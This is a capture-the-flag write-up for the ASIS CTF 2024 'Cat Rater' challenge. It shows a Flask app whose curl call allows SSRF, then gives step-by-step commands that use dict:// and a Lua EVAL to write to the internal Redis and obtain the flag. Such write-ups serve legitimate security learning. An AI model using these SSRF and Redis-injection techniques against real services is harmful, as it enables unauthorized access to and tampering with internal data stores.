# Cat Rater - ASIS 2024 Quals Here's my writeup for the **Cat Rater** challenge at **ASIS CTF 2024 Quals** ## Introduction Here is the main code of the challenge ```python= from flask import Flask, render_template, session, request, redirect, flash import subprocess import secrets import random import redis import uuid import os import re app = Flask(__name__) app.secret_key = secrets.token_bytes(32) flag = os.environ.get('FLAG','ASIS{test-flag}') rds = redis.Redis(host='redis', port=6379) uuidReg = re.compile(r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$', re.IGNORECASE) @app.route('/') def index(): return render_template('main.html') @app.route('/rate',methods=['POST']) def rate(): link = request.form.get('link') if not link or re.search(r'[\x00-\x20\[\]%{}\-]',link) or not link.isascii(): return 'Invalid link', 400, {'Content-Type': 'text/plain'} try: p = subprocess.run(["/usr/bin/curl",link],capture_output=True,timeout=0.5) if(p.returncode == 0): resultID = str(uuid.uuid4()) rds.set(resultID,str(random.randint(1,9))) return redirect(f'/result?id={resultID}') except Exception as e: print(e) return 'Something bad happened', 500, {'Content-Type': 'text/plain'} @app.route('/result') def result(): rid = request.args.get('id') if(not rid): return 'Result ID is missing', 400, {'Content-Type': 'text/plain'} if(not uuidReg.match(rid)): return 'Invalid ID', 400, {'Content-Type': 'text/plain'} result = rds.get(rid) if(not result): return 'Result not found', 400, {'Content-Type': 'text/plain'} result = int(result) if(result == 10): return render_template('result.html', msg=flag) else: return render_template('result.html', msg=f'Your cat got {result}/10') if __name__ == "__main__": app.run(host='0.0.0.0', port=8080) ``` # How to work Let's describe the code: in the `/rate` path, we can make a request to the specified `link` with the `curl` command, if *command* succesfully finished, it will set a random number from **1-9** to *UUID* as the redis key and redirect us to `/result?id=<UUID>`. And we can grab the value of the `UUID` in the `/result` path, if the value of redis key is equal to **10**, the *flag* returns to us, otherwise the value of redis key returns ```shell $ curl http://cat-rater.asisctf.com/rate -d "link=http://example.com" -L ... Your cat got 6/10 ... ``` # How to get the flag In the first point of view, i couldn't find any vulnerability in code and i thought there is no way to set a key to *10*, after a preiod of time, i figured out there is a vuln, and that is `SSRF` in the `/rate` path. So i thought what if we make a request to `redis:6379`, so i thought that **Is there a way to send commands to redis via curl?** Alright let's dig into it :) I've run a redis container in my local host and tried to connect and send command with curl, at first i tried this ```sh $ curl localhost:6379 curl: (52) Empty reply from server ``` > Note: by default curl use *http* as the protocol here, certainly redis:6379 wasn't a http server Ok so, i read the curl's manpage and tried to use other protocols that curl supports, after trying each protocol, these protocols was useful to connect to redis and sending commands to it - GOPHER - TELNET - DICT I ignored the *TELNET*, because it will reads the payloads from *stdin* instead of url ```shell $ echo "PING" | curl telnet://localhost:6379 +PONG ``` Then i tried the *GOPHER* and yeap, i can send command from url :) ```shell $ curl gopher://localhost:6379/PING -ERR unknown command 'ING', with args beginning with: $ curl gopher://localhost:6379/_PING +PONG <wait for stdin> ``` I thought that i found the solution, until i realized that i can't use any of these `r'[\x00-\x20\[\]%{}\-]` in the `link` query parameter that restricts `blankspace:" "`, `Hyphen:"-"` and so on > At this point I just wrote a python script to FUZZ the "link" to find a char that valid for redis as a delimiter, but didn't found anything :/ BTW, if the `blankspace` wasn't filterd by server this could works ```shell $ curl "gopher://localhost:6379/_SET%20foo%20bar" +OK ``` > Note that to get the flag we need to send a valid uuid that match with the `uuidReg` in server, so we can't use **(Hyphens) -** After trying the `GOPHER` i thought that the `DICT` works like the `GOPHER` and i can't use `blankspace` or `-` So i open up the Redis document to see which commands doesn't require arguments, to don't force me to use `blankspace`, i didn't found anything useful > I think i was overthinking too much to this challenge during competition :/ After a couple of hours and digging more, i read out this [page](https://everything.curl.dev/usingcurl/dict.html) about `DICT` and figured out that i can use **":"** as `blankspace` in the url and it will replace into *blankspace* ```shell $ curl dict://localhost:6379/SET:foo:bar -ERR unknown subcommand 'libcurl'. Try CLIENT HELP. +OK +OK curl dict://localhost:6379/GET:foo -ERR unknown subcommand 'libcurl'. Try CLIENT HELP. $3 bar +OK ``` Well, seems half of way done, but what about the `-` ```shell $ curl http://cat-rater.asisctf.com/rate -d "link=dict://redis:6479/SET:cf56ea1a-5175-4dbf-8e8f-7b2a1845039d:10" -L Invalid link ``` so what now :/ After more digging in redis document, i found a way and it was `EVAL` commands and Lua Scripting, there was some built-in functions in redis like `redis.call` that we can call a command from `Lua` ## The final payload I used `KEYS` command to get a list of keys, and used `table.concat` to concatenate the list into string, note that you need to use `KEYS <FIRST-PART-OF-YOUR-UUID>*` to filter the result and make a list of one item, so the `table.concat` returns the `<UUID>` > NOTE: also we can't use [] to get specific index of arrays in Lua This won't work, because **"[]"** are restricted in server ```redis! 127.0.0.1:6379> EVAL "return redis.call('keys','*')[1]" 0 "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d" ``` But with `table.concat` ```redis! 127.0.0.1:6379> KEYS * 1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d" 2) "foo1" 3) "foo" 127.0.0.1:6379> EVAL "return table.concat(redis.call('keys','*'))" 0 "cf56ea1a-5175-4dbf-8e8f-7b2a1845039dfoo1foo" ``` Notice that the `foo1foo` at the end of result, those are other keys in the redis, this is because you have to filters out the `KEYS` command result to return only one item and it must be your **UUID** ```redis! 127.0.0.1:6379> SET cf56ea1a-5175-4dbf-8e8f-7b2a1845039d 1 OK 127.0.0.1:6379> KEYS cf56ea1* 1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d" 127.0.0.1:6379> EVAL "return redis.call('keys', 'cf56ea1a*')" 0 1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d" ``` Then use `SET` command to set the `UUID` to `10` like bellow: ```redis 127.0.0.1:6379> EVAL "return redis.call('set',table.concat(redis.call('keys', 'cf56ea1a*')),10)" 0 OK 127.0.0.1:6379> keys * 1) "cf56ea1a-5175-4dbf-8e8f-7b2a1845039d" 2) "foo1" 3) "foo" 127.0.0.1:6379> GET cf56ea1a-5175-4dbf-8e8f-7b2a1845039d "10" ``` And yes the uuid becomes **10** So let's grab the flag :) #### Step one: Generating UUID ``` $ curl http://cat-rater.asisctf.com/rate -d "link=dict://redis:6379" <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930">/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930</a>. If not, click the link. ``` the uuid: **50fbc1ff-16ba-46a0-89e3-43b0f0ef2930** #### Step two: Set UUID to 10 ```shell $ curl http://cat-rater.asisctf.com/rate --data-raw "link=dict://redis:6379/EVAL:\"redis.call('set',table.concat(redis.call('keys','50fbc1ff*')),10)\":0" <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> ... ``` #### Step three and final step: Grab the flag then just get the result of uuid ```shell $ curl "http://cat-rater.asisctf.com/result?id=50fbc1ff-16ba-46a0-89e3-43b0f0ef2930" ... ASIS{105eadeea7d6e4d26e09da6d52d1bea8} ... ``` # Conclusion I know i did a lot of silly things during the competition like FUZZING for `link` query parameter to bypass `blankspace`, and also trying to find a command that does not need an argument, but after all I have learned a lot of things about Redis, curl and a little of Lua This was one the easiest web challenge at *ASIS CTF 2024 Quals* and it was quiet fun for me, thank to the author of this challenge